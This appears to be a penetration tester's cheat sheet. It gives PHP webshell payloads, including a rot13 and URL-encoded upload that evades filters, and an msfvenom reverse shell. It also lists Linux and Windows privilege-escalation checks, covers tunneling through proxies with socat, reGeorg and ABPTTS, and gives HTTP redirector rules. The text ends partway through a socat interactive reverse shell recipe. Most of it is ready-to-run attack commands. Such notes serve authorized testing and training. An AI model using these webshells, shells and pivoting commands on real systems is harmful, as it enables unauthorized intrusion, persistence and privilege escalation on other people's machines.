PHP RCE

test:

<?php phpinfo(); ?>

simple shell:

<?php system($_GET["c"]); ?>

<?php `$_GET["c"]`; ?>

file upload:

<?php file_put_contents('/var/www/html/uploads/test.php', '<?php system($_GET["c"]);?>'); ?>

file upload evasion: rot13 + urlencode

<?php $payload="%3C%3Fcuc%20flfgrz%28%24_TRG%5Bp%5D%29%3B%3F%3E"; file_put_contents('/var/www/html/uploads/test8.php', str_rot13(urldecode($payload))); ?>

RCE via webshell

• All pentest monkey reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

• msfvenom x86/linux/shell_reverse_tcp -f elf

Privilege Escalation

Linux Privilege Escalation

• sudo -l
• Kernel Exploits
• OS Exploits
• Password reuse (mysql, .bash_history, 000-default.conf...)
• Known binaries with suid flag and interactive (nmap)
• Custom binaries with suid flag either using other binaries or with command execution
• Writable files owned by root that get executed (cronjobs)
• MySQL as root
• Vulnerable services (chkrootkit, logrotate)
• Writable /etc/passwd
• Readable .bash_history
• SSH private key
• Listening ports on localhost
• /etc/fstab
• /etc/exports
• /var/mail
• Process as other user (root) executing something you have permissions to modify
• SSH public key + Predictable PRNG
• apt update hooking (Pre-Invoke)
• Capabilities

Windows Privilege Escalation

• Kernel Exploits
• OS Exploits
• Pass The Hash
• Password reuse
• DLL hijacking (Path)
• Vulnerable services

Kernel Exploits

Windows: https://github.com/abatchy17/WindowsExploits

Tunneling & Port Forwarding

SSH over HTTP (Squid)

socat

socat TCP-L:9999,fork,reuseaddr PROXY:192.168.1.41:127.0.0.1:22,proxyport=3128

ssh john@127.0.0.1 -p 9999

proxytunnel

proxytunnel -p 192.168.1.41:3128 -d 127.0.0.1:22 -a 5555

ssh john@127.0.0.1 -p 5555

proxychains

http 192.168.1.41 3128

proxychains ssh john@127.0.0.1

corkscrew

ssh john@192.168.1.41 -t /bin/sh

TCP over HTTP

For this technique, it is necessary to be able to upload a file to a webserver.

1. reGeorg

File upload to the server correct

Tunnel creation

python reGeorgSocksProxy.py -p 5555 -u "http://<ip>/admin/uploads/reGeorg.jsp"

Proxychains config

proxychains nmap -F -sT 127.0.0.1
proxychains mysql -u root -p -h 127.0.0.1
proxychains ssh localhost

Reference: https://sensepost.com/discover/tools/reGeorg/

2. ABBTTS

Upload File

Config proxychains and create the tunnel

python abpttsclient.py -c tomcat_walkthrough/config.txt -u http://192.168.1.128/abptts.jsp -f 127.0.0.1:22222/127.0.0.1:22

Usage

ssh -p 22222 user@127.0.0.1

Reference: https://github.com/nccgroup/ABPTTS

HTTP Redirectors

1. socat

socat TCP4-LISTEN:80,fork TCP4:REMOTE-HOST-IP-ADDRESS:80

2. iptables

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination REMOTEADDR:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

Windows Socks Proxy

In this case this is going to be used to access Burp listening on a Windows NATed VM from other PCs in the same network as the Windows Host.

From the Windows Host machine (IP: 192.168.1.206)

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234

From other PC on the Windows Host machine network (IP: 192.168.1.69)

Configure proxychains.conf:

 socks4 	192.168.1.206 1234 

proxychains socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.48.158:8080

This command ahead makes Burp (which is listening on the NATed machine) accessible from 192.168.1.69 on port 8081

Now, configure the Proxy in the browser:

All the traffic is logged on the NATed machine Burp.

Interactive Reverse Shell

Method 1

Attacker:

socat file:`tty`,raw,echo=0 TCP-L:4444

Victim:
